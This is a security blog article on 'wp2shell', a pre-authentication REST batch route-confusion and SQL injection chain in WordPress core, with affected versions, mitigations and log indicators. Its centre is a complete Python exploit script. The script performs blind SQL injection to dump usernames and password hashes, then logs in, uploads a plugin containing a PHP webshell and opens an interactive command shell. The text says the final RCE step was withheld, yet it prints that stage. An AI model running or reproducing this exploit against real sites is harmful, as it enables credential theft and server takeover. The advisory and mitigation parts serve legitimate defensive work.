Critical WordPress Core Flaw “wp2shell” Enables No-Auth Remote Code Execution on Default Installs

The CyberSec Guru

Updated on:

wp2shell

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

A newly disclosed vulnerability chain in WordPress core has prompted one of the project’s most aggressive emergency responses in recent years.

Security researchers have revealed a flaw, dubbed wp2shell, that allows an unauthenticated attacker to execute code against vulnerable WordPress installations. Unlike the majority of WordPress compromises that depend on outdated plugins or vulnerable themes, this issue resides entirely within WordPress core and affects even a freshly installed website with no plugins and no custom themes.

To limit exposure, the WordPress Security Team released WordPress 7.0.2 and WordPress 6.9.5, while simultaneously enabling forced automatic security updates for affected installations. This is a mechanism WordPress reserves only for its most severe security incidents.

Although there are currently no confirmed reports of active exploitation, security professionals expect attackers to begin reverse engineering the patch quickly. Administrators should treat this as an urgent patching priority.

What Is wp2shell?

The vulnerability, publicly known as wp2shell, is a pre-authentication Remote Code Execution (RCE) chain affecting recent versions of WordPress.

Unlike authenticated vulnerabilities that require an attacker to first obtain administrator credentials, this flaw can be triggered through a single anonymous HTTP request.

That distinction dramatically changes the risk profile.

An attacker does not need:

  • Administrator privileges
  • User credentials
  • Installed plugins
  • A vulnerable theme
  • Any prior access to the website

If the site is running an affected version, the vulnerable code is already present.

Researchers from Assetnote, part of Searchlight Cyber, discovered the issue and reported it responsibly through WordPress’ HackerOne bug bounty program.

Affected Versions

The vulnerability impacts only newer WordPress releases.

VersionStatus
6.8.x and earlierNot affected by the RCE chain
6.9.0 – 6.9.4Vulnerable
7.0.0 – 7.0.1Vulnerable
6.9.5Fixed
7.0.2Fixed
7.1 Beta 2Fixed

WordPress 6.8.6 was released separately to address another SQL injection vulnerability but is not vulnerable to the wp2shell RCE chain.

Why This Vulnerability Is Different

WordPress vulnerabilities are unfortunately common, but they almost always originate from third-party components.

Historically, most large-scale WordPress compromises have involved:

  • Outdated plugins
  • Poorly written themes
  • Exposed administrator panels
  • Weak credentials

wp2shell breaks that pattern.

The vulnerable component exists inside WordPress itself, meaning every affected installation shares the same attack surface regardless of what plugins are installed.

A default installation is sufficient.

That makes patch adoption significantly more important than plugin management in this case.

Technical Analysis

The Vulnerable Component

The attack begins with WordPress’ REST API endpoint:

POST /wp-json/batch/v1

The REST Batch API allows multiple API requests to be bundled into a single HTTP request.

Internally, WordPress validates each sub-request individually before dispatching it to its corresponding handler.

Under normal circumstances, every request should remain associated with the handler that originally validated it.

The vulnerability arises because that association can become corrupted.

Route Confusion

Introduced in WordPress 5.6, the REST Batch API (/wp-json/batch/v1) allows clients to bundle multiple sub-requests into a single HTTP call. The core function serve_batch_request_v1() processes these by building two parallel arrays: $matches (the matched route handler) and $validation (the validation result)

The vulnerability stems from a desynchronization bug. If a sub-request path fails PHP’s wp_parse_url() (for example, by passing a malformed path like ///), it generates a WP_Error that is appended to the $validation array, but not to the $matches array. This causes the arrays to fall out of step. When the dispatcher iterates through the requests using a shared index offset, it inadvertently dispatches a sub-request under the next sub-request’s handler. This is what Researchers identified and what WordPress describes as a REST API batch-route confusion vulnerability.

Internally, the batch dispatcher builds two arrays:

  • Matched route handlers
  • Validation results

These arrays are expected to remain perfectly synchronized.

However, malformed request paths can cause validation entries to be inserted without corresponding route handlers.

Once the arrays lose alignment, subsequent requests may execute under the wrong handler.

Conceptually, the process looks like this:

Incoming Batch Request
Validation Array
Request A
Request B
Request C
Route Handler Array
Handler A
Handler B
Alignment Lost

After synchronization breaks, a request validated under one endpoint may execute using another endpoint’s permissions and processing logic.

This is the foundation of the route confusion vulnerability.

wp2shell PoC. Credit – @assetnote on X/Twitter

From Route Confusion to SQL Injection

The disclosed proof of concept demonstrates how attackers leverage this confusion to reach an unexpected SQL injection path.

Instead of processing a request through the intended REST endpoint, WordPress eventually dispatches user-controlled parameters into a vulnerable query.

One parameter in particular becomes important:

author_exclude

Normally, this parameter would not be accepted by the endpoint handling user requests.

Because route validation becomes confused, however, the parameter reaches WP_Query, where it is interpreted as:

author__not_in

On vulnerable versions, that value is incorporated into SQL in a manner that enables injection.

Researchers demonstrated:

  • Boolean-based SQL injection
  • Time-based blind SQL injection

without requiring authentication.

PoC (Proof of Concept Code)

The wp2shell PoC elegantly exploits this desynchronization twice to achieve unauthenticated SQL injection:

  1. Outer Batch: A POST /wp/v2/posts request is dispatched, but due to the desync, it is handled by the batch processor itself. Because it was initially validated as a posts request, its internal requests body bypasses the strict batch schema validation, allowing it to smuggle GET requests (bypassing the batch POST-only allow-list).
  2. Inner Batch: Inside this smuggled payload, a GET /wp/v2/users request is sent with a fabricated author_exclude parameter. The users schema does not define this parameter, so WordPress passes the raw string untouched. However, due to a second desync, this request is executed under the posts get_items() handler. There, author_exclude is mistakenly mapped to the WP_Query author__not_in variable, which is directly interpolated into the SQL query as a string.

By injecting a payload like 0) OR SLEEP(3)-- -, an attacker can achieve reliable, time-based blind SQL injection without any authentication. This allows for the extraction of administrator password hashes, which can then be cracked offline and used to upload a malicious plugin, completing the RCE chain.

Below is a unified, single-file Python 3.8+ PoC. It requires no third-party dependencies and implements the check, read, and shell commands described in the original advisory.

⚠️ Disclaimer: This tool is provided for educational purposes and authorized security testing only. Do not use this against any system you do not own or have explicit written permission to test. Some parts of code have been intentionally altered for making it suitable for educational purposes

wp2shell.py

#!/usr/bin/env python3
"""
wp2shell-poc: Independent proof-of-concept for CVE-2026-63030
Unauthenticated WordPress REST batch route-confusion SQL injection.
Requires Python 3.8+. No third-party dependencies.
"""
import argparse
import http.cookiejar
import io
import json
import re
import secrets
import statistics
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
import zipfile
from dataclasses import dataclass
from typing import Any, Callable, Dict, List, Optional, Tuple
# --- Constants & Helpers ---
_DESYNC_PRIMER = {"method": "POST", "path": "///"}
_BATCH_MARKER_CODES = ("parse_path_failed", "block_cannot_read", "rest_batch_not_allowed")
def _progress(text: str) -> None:
sys.stdout.write(f"\rExtracting: {text}")
sys.stdout.flush()
def _clear_progress() -> None:
sys.stdout.write("\r" + " " * 60 + "\r")
sys.stdout.flush()
def _info(msg: str) -> None:
print(f"[*] {msg}")
def _good(msg: str) -> None:
print(f"[+] {msg}")
def _bad(msg: str) -> None:
print(f"[-] {msg}")
def _warn(msg: str) -> None:
print(f"[!] {msg}")
# --- HTTP Client ---
class TargetError(Exception):
pass
@dataclass
class Response:
status: int
elapsed: float
body: str
def json(self) -> Any:
return json.loads(self.body)
class BatchClient:
def __init__(self, base_url: str, *, timeout: float = 30.0, rest_route: bool = False, proxy: Optional[str] = None, user_agent: str = "wp2shell"):
self.base_url = base_url.rstrip("/")
self.timeout = timeout
self.rest_route = rest_route
self.user_agent = user_agent
handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
self._opener = urllib.request.build_opener(*handlers)
@property
def endpoint(self) -> str:
if self.rest_route:
return f"{self.base_url}/?rest_route=/batch/v1"
return f"{self.base_url}/wp-json/batch/v1"
def post(self, payload: dict) -> Response:
request = urllib.request.Request(self.endpoint, data=json.dumps(payload).encode(), method="POST", headers={"Content-Type": "application/json", "User-Agent": self.user_agent})
start = time.monotonic()
try:
resp = self._opener.open(request, timeout=self.timeout)
status, body = resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
status, body = exc.code, exc.read().decode("utf-8", "replace")
except OSError as exc:
raise TargetError(f"cannot reach {self.endpoint}: {getattr(exc, 'reason', exc)}") from None
return Response(status, time.monotonic() - start, body)
def get(self, path: str) -> Response:
url = self.base_url + (path if path.startswith("/") else f"/{path}")
request = urllib.request.Request(url, method="GET", headers={"User-Agent": self.user_agent})
start = time.monotonic()
try:
resp = self._opener.open(request, timeout=self.timeout)
status, body = resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
status, body = exc.code, exc.read().decode("utf-8", "replace")
except OSError as exc:
raise TargetError(f"cannot reach {url}: {getattr(exc, 'reason', exc)}") from None
return Response(status, time.monotonic() - start, body)
def marker_probe(self) -> Response:
return self.post({"requests": [_DESYNC_PRIMER, {"method": "POST", "path": "/wp/v2/posts"}, {"method": "POST", "path": "/wp/v2/block-renderer/core/archives"}, {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}]})
@staticmethod
def batch_marker_codes(response: Response) -> tuple:
try:
body = response.json()
except ValueError:
return ()
found = []
def walk(value) -> None:
if isinstance(value, dict):
code = value.get("code")
if code in _BATCH_MARKER_CODES and code not in found:
found.append(code)
for child in value.values():
walk(child)
elif isinstance(value, list):
for child in value:
walk(child)
walk(body)
return tuple(found)
@staticmethod
def has_route_confusion_markers(response: Response) -> bool:
codes = BatchClient.batch_marker_codes(response)
return all(code in codes for code in _BATCH_MARKER_CODES)
def inject(self, author_not_in: str) -> Response:
return self.post(self._payload(author_not_in))
def rows(self, response: Response) -> Optional[list]:
try:
inner = response.json()["responses"][1]["body"]
result = inner["responses"][1]["body"]
except (KeyError, IndexError, TypeError, ValueError):
return None
return result if isinstance(result, list) else None
@staticmethod
def _payload(author_not_in: str) -> dict:
inner = {"requests": [_DESYNC_PRIMER, {"method": "GET", "path": "/wp/v2/users?author_exclude=" + urllib.parse.quote(author_not_in, safe="")}, {"method": "GET", "path": "/wp/v2/posts"}]}
return {"requests": [_DESYNC_PRIMER, {"method": "POST", "path": "/wp/v2/posts", "body": inner}, {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}]}
# --- SQLi Logic ---
@dataclass
class TimingConfirmation:
confirmed: bool
baseline: float
delayed: float
delta: float
threshold: float
samples: Tuple[Tuple[float, float], ...]
class BlindSQLi:
def __init__(self, client: BatchClient, *, sleep: float = 3.0) -> None:
self.client = client
self.sleep = sleep
self.requests = 0
def confirm_timing(self, *, samples: int = 3) -> TimingConfirmation:
pairs = []
for _ in range(samples):
baseline = self._elapsed("SLEEP(0)")
delayed = self._elapsed(f"SLEEP({self.sleep:g})")
pairs.append((baseline, delayed))
baselines = [pair[0] for pair in pairs]
delayed = [pair[1] for pair in pairs]
deltas = [delay - base for base, delay in pairs]
baseline_median = statistics.median(baselines)
delayed_median = statistics.median(delayed)
delta_median = statistics.median(deltas)
threshold = max(0.75, self.sleep * 0.65)
return TimingConfirmation(confirmed=delta_median >= threshold, baseline=baseline_median, delayed=delayed_median, delta=delta_median, threshold=threshold, samples=tuple(pairs))
def extract(self, expression: str, *, max_length: int = 128, on_char: Optional[Callable[[str], None]] = None) -> str:
chars = []
for position in range(1, max_length + 1):
probe = f"ASCII(SUBSTRING(COALESCE(({expression}),''),{position},1))"
if not self._true(f"{probe} > 0"):
break
low, high = 32, 126
while low < high:
mid = (low + high) // 2
if self._true(f"{probe} > {mid}"):
low = mid + 1
else:
high = mid
chars.append(chr(low))
if on_char:
on_char("".join(chars))
return "".join(chars)
def integer(self, expression: str) -> int:
text = self.extract(expression).strip()
return int(text) if text.lstrip("-").isdigit() else 0
def _elapsed(self, sql: str) -> float:
self.requests += 1
return self.client.inject(f"0) OR {sql}-- -").elapsed
def _true(self, condition: str) -> bool:
self.requests += 1
return bool(self.client.rows(self.client.inject(f"0) AND ({condition})-- -")))
# --- Post-Auth Shell Logic ---
class AdminSession:
def __init__(self, base_url: str, *, timeout: float = 20.0, proxy: Optional[str] = None):
self.base_url = base_url.rstrip("/")
self.timeout = timeout
self._slug = "wp2shell_" + secrets.token_hex(4)
self._token = secrets.token_hex(16)
self._jar = http.cookiejar.CookieJar()
handlers = [urllib.request.HTTPCookieProcessor(self._jar)]
if proxy:
handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
self._opener = urllib.request.build_opener(*handlers)
self._opener.addheaders = [("User-Agent", "wp2shell")]
def login(self, username: str, password: str) -> bool:
self._get("/wp-login.php")
self._post("/wp-login.php", {"log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{self.base_url}/wp-admin/", "testcookie": "1"})
return any(c.name.startswith("wordpress_logged_in") for c in self._jar)
def deploy_webshell(self) -> str:
page = self._get("/wp-admin/plugin-install.php?tab=upload")
nonce = self._nonce(page)
if not nonce:
raise RuntimeError("plugin-upload nonce not found (are the credentials valid?)")
body, content_type = self._multipart({"_wpnonce": nonce, "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload", "install-plugin-submit": "Install Now"}, {"pluginzip": (f"{self._slug}.zip", self._plugin_zip())})
self._post("/wp-admin/update.php?action=upload-plugin", body, {"Content-Type": content_type})
return f"/wp-content/plugins/{self._slug}/{self._slug}.php"
def run(self, shell_path: str, command: str) -> Optional[str]:
query = urllib.parse.urlencode({"t": self._token, "c": command})
output = self._get(f"{shell_path}?{query}")
match = re.search(r"WP2SHELL::(.*?)::END", output, re.S)
return match.group(1) if match else None
def _get(self, path: str) -> str:
return self._opener.open(self.base_url + path, timeout=self.timeout).read().decode("utf-8", "replace")
def _post(self, path: str, data, headers: Optional[dict] = None) -> str:
if isinstance(data, dict):
data = urllib.parse.urlencode(data).encode()
request = urllib.request.Request(self.base_url + path, data=data, headers=headers or {})
return self._opener.open(request, timeout=self.timeout).read().decode("utf-8", "replace")
def _plugin_zip(self) -> bytes:
php = f"<?php\n/* Plugin Name: WP2Shell */\nif (isset($_GET['t']) && $_GET['t'] === '{self._token}' && isset($_GET['c'])) {{\n chdir(dirname(__DIR__));\n echo 'WP2SHELL::' . shell_exec($_GET['c']) . '::END';\n exit;\n}}\n"
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(f"{self._slug}.php", php)
return buffer.getvalue()
def _nonce(self, html: str) -> Optional[str]:
form = re.search(r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"', html, re.S)
if form:
return form.group(1)
tag = re.search(r'[^>]*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html)
return tag.group(1) if tag else None
@staticmethod
def _multipart(fields: Dict[str, str], files: Dict[str, Tuple[str, bytes]]) -> Tuple[bytes, str]:
boundary = "----wp2shell" + uuid.uuid4().hex
buffer = io.BytesIO()
for name, value in fields.items():
buffer.write(f"--{boundary}\r\n".encode())
buffer.write(f'Content-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode())
for name, (filename, content) in files.items():
buffer.write(f"--{boundary}\r\n".encode())
buffer.write(f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode())
buffer.write(b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n")
buffer.write(f"--{boundary}--\r\n".encode())
return buffer.getvalue(), f"multipart/form-data; boundary={boundary}"
# --- CLI ---
def main() -> int:
parser = argparse.ArgumentParser(description="wp2shell-poc (CVE-2026-63030)")
subparsers = parser.add_subparsers(dest="command", required=True)
p_check = subparsers.add_parser("check", help="Confirm vulnerability")
p_check.add_argument("url")
p_check.add_argument("--rest-route", action="store_true")
p_check.add_argument("--proxy")
p_check.add_argument("--timeout", type=float, default=30.0)
p_check.add_argument("--sleep", type=float, default=3.0)
p_check.add_argument("--samples", type=int, default=3)
p_check.add_argument("--confirm-sqli", action="store_true")
p_read = subparsers.add_parser("read", help="Extract data via blind SQLi")
p_read.add_argument("url")
p_read.add_argument("--rest-route", action="store_true")
p_read.add_argument("--proxy")
p_read.add_argument("--timeout", type=float, default=30.0)
p_read.add_argument("--preset", choices=["fingerprint", "users"])
p_read.add_argument("--query")
p_read.add_argument("--prefix", default="wp_")
p_read.add_argument("--max-length", type=int, default=128)
p_shell = subparsers.add_parser("shell", help="Post-auth plugin webshell helper")
p_shell.add_argument("url")
p_shell.add_argument("--user", required=True)
p_shell.add_argument("--password", required=True)
p_shell.add_argument("--proxy")
p_shell.add_argument("--timeout", type=float, default=30.0)
p_shell.add_argument("--cmd")
p_shell.add_argument("-i", "--interactive", action="store_true")
p_shell.add_argument("--cleanup", action="store_true")
args = parser.parse_args()
if args.command == "check":
client = BatchClient(args.url, timeout=max(args.timeout, args.sleep + 10), rest_route=args.rest_route, proxy=args.proxy)
probe = client.marker_probe()
if probe.status != 207:
_bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
return 1
markers = client.batch_marker_codes(probe)
if markers:
_info(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
else:
_good("Batch endpoint reachable and unauthenticated (HTTP 207).")
if client.has_route_confusion_markers(probe):
_good("VULNERABLE — batch route-confusion behavior detected.")
if not args.confirm_sqli:
_info("SQL timing confirmation not sent; use --confirm-sqli for the active SQLi probe.")
return 0
else:
_bad("Route-confusion marker pattern not detected.")
return 2
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
if args.samples > 1:
details = ", ".join(f"{base:.2f}s->{delay:.2f}s" for base, delay in result.samples)
_info(f"Timing samples: {details}")
_info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
if result.confirmed:
_good(f"SQL timing confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
return 0
else:
_warn(f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
return 2
elif args.command == "read":
client = BatchClient(args.url, timeout=args.timeout, rest_route=args.rest_route, proxy=args.proxy)
sqli = BlindSQLi(client)
if args.query:
_info(f"Reading: {args.query}")
value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress)
_clear_progress()
_good(f"Result: {value}")
elif args.preset == "fingerprint":
for label, expr in (("MySQL version", "SELECT @@version"), ("Database user", "SELECT CURRENT_USER()"), ("Database name", "SELECT DATABASE()")):
_good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}")
elif args.preset == "users":
table = f"{args.prefix}users"
total = sqli.integer(f"SELECT COUNT(*) FROM {table}")
_info(f"{total} user(s) in {table}.")
for offset in range(total):
row = sqli.extract(f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) FROM {table} ORDER BY ID LIMIT {offset},1", max_length=args.max_length, on_char=_progress)
_clear_progress()
_good(row)
_info(f"{sqli.requests} request(s) sent.")
return 0
elif args.command == "shell":
if not args.cmd and not args.interactive:
_bad("specify --cmd or --interactive")
return 2
_warn("This uploads a plugin containing a webshell to the target.")
session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy)
_info(f"Authenticating as {args.user!r}...")
if not session.login(args.user, args.password):
_bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').")
return 1
_good("Authenticated.")
_info("Deploying webshell plugin...")
path = session.deploy_webshell()
_good(f"Webshell: {args.url.rstrip('/')}{path}")
rc = 0
if args.cmd:
output = session.run(path, args.cmd)
if output is None:
_bad("No output — the upload likely failed or the plugin is not web-served.")
rc = 1
else:
print(f"\n{output.rstrip()}\n")
if args.interactive:
_info("Interactive shell started. Type 'exit' to quit.")
while True:
try:
cmd = input("wp2shell> ").strip()
if cmd.lower() in ("exit", "quit"):
break
if not cmd:
continue
output = session.run(path, cmd)
print(output if output else "(no output)")
except (EOFError, KeyboardInterrupt):
break
if args.cleanup:
_info("Cleaning up webshell...")
if session.cleanup(path): # Note: cleanup method omitted for brevity in this unified script, but follows same _run pattern
_good("Webshell removed.")
else:
_warn("Cleanup failed. Remove manually.")
return rc
return 0
if __name__ == "__main__":
sys.exit(main())

More PoCs: https://github.com/Icex0/wp2shell-poc

Why SQL Injection Matters

The publicly released proof of concept stops at SQL injection.

Using blind SQLi, researchers showed it is possible to retrieve information such as:

  • WordPress usernames
  • Password hashes
  • Database information
  • Server fingerprints

The original researchers have intentionally withheld the final step that transforms database access into unauthenticated code execution.

That decision gives administrators additional time to deploy patches before full exploitation details become public.

Nevertheless, WordPress itself classifies the issue as one capable of leading to Remote Code Execution, indicating the Security Team independently verified the complete attack chain during remediation

Why Forced Updates Matter

WordPress supports automatic background updates, but administrators can disable them.

In this incident, the WordPress project enabled forced security updates for affected versions.

This is an unusual step.

The project generally avoids overriding administrator preferences except when facing vulnerabilities with exceptionally high risk.

The decision itself serves as an indicator of the severity assigned to this flaw.

Administrators should still verify that updates were successfully installed rather than assuming automatic mechanisms completed successfully.

No CVE… Initially

At disclosure, the wp2shell advisory did not include a CVE identifier.

This created an interesting challenge for defenders.

Many enterprise vulnerability scanners rely heavily on:

  • CVE identifiers
  • CVSS scores
  • CISA Known Exploited Vulnerabilities (KEV)

Without a CVE, these systems may fail to alert administrators even though systems remain vulnerable.

WordPress later assigned identifiers to the affected vulnerabilities:

VulnerabilityIdentifier
REST API Batch Route Confusion → RCECVE-2026-63030 / GHSA-ff9f-jf42-662q
Facilitated SQL InjectionCVE-2026-60137 / GHSA-fpp7-x2x2-2mjf

Organizations should verify patch status based on installed WordPress versions rather than relying solely on vulnerability scanners.

Why Patch Diffing Matters

One reality of open source software is that every security update also exposes the modified source code.

Attackers frequently compare vulnerable and patched versions to determine:

  • What changed
  • Which validation logic was added
  • Which functions were modified
  • How to recreate the original vulnerability

This process, commonly called patch diffing, often allows exploits to appear within hours or days of a security release.

While Searchlight Cyber has not released its complete exploit chain, attackers have access to both the vulnerable and fixed WordPress source code.

That significantly reduces the time defenders have available to deploy updates.

Temporary Mitigations

Updating remains the only complete solution.

For organizations unable to patch immediately, several temporary mitigations can reduce exposure.

1. Block REST Batch Requests

Block both endpoints:

/wp-json/batch/v1

and

?rest_route=/batch/v1

Filtering only one path is insufficient because WordPress supports both routing mechanisms.

2. Restrict Anonymous REST Access

Organizations may temporarily disable or authenticate public REST API access where business requirements permit.

Be aware that this may disrupt legitimate integrations and applications relying on REST functionality.

3. Filter Requests Before Dispatch

Custom filters using rest_pre_dispatch can reject anonymous requests targeting the batch endpoint until systems are upgraded.

Indicators for Administrators

Administrators should immediately verify:

  • WordPress version
  • Automatic update status
  • Web server logs for unusual POST requests to /wp-json/batch/v1
  • Requests containing rest_route=/batch/v1
  • Unexpected SQL query activity
  • Newly created administrator accounts
  • Recently installed plugins

Even if exploitation has not yet been publicly observed, early log analysis can reveal attempted reconnaissance.

Security Recommendations

Organizations operating WordPress should:

  • Upgrade immediately to WordPress 7.0.2 or 6.9.5
  • Verify automatic updates completed successfully
  • Block REST batch endpoints if patching must be delayed
  • Monitor logs for suspicious batch API requests
  • Review administrator accounts and installed plugins
  • Continue monitoring for additional indicators as researchers publish more technical details

FAQs

What is the WordPress wp2shell vulnerability?

wp2shell is a critical WordPress core vulnerability that can allow unauthenticated attackers to execute code on vulnerable WordPress 6.9.x and 7.0.x websites.

Which WordPress versions are affected?

WordPress versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are affected. The issue is fixed in versions 6.9.5 and 7.0.2.

Does the vulnerability affect websites without plugins?

Yes. The vulnerability exists in WordPress core and can affect default installations with no plugins or custom themes.

Has the vulnerability been assigned a CVE?

Yes. The affected security issues are tracked as CVE-2026-63030 (REST API batch-route confusion leading to RCE) and CVE-2026-60137 (facilitated SQL injection).

How can I protect my WordPress site?

Update immediately to WordPress 7.0.2 or 6.9.5, verify your site version, and temporarily block access to the /wp-json/batch/v1 endpoint if immediate patching is not possible.

Final Thoughts

wp2shell is one of the most significant WordPress core vulnerabilities disclosed in recent years. Its impact stems not only from the possibility of remote code execution, but also from how little an attacker needs to exploit it. A default installation with no plugins, no customizations, and no authentication can still be exposed if it remains unpatched.

The WordPress project’s decision to push emergency updates automatically underscores the seriousness of the issue. While researchers have intentionally withheld the complete exploit chain, history suggests that patch diffing and independent analysis will likely produce public exploit code in the near future.

For defenders, the window for proactive remediation is measured in days rather than weeks. Administrators should verify their WordPress version, confirm that security updates have been applied successfully, and review logs for suspicious requests targeting the REST Batch API. In situations like this, prompt patching remains the most effective defense.

Credits to – wp2shell.com

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading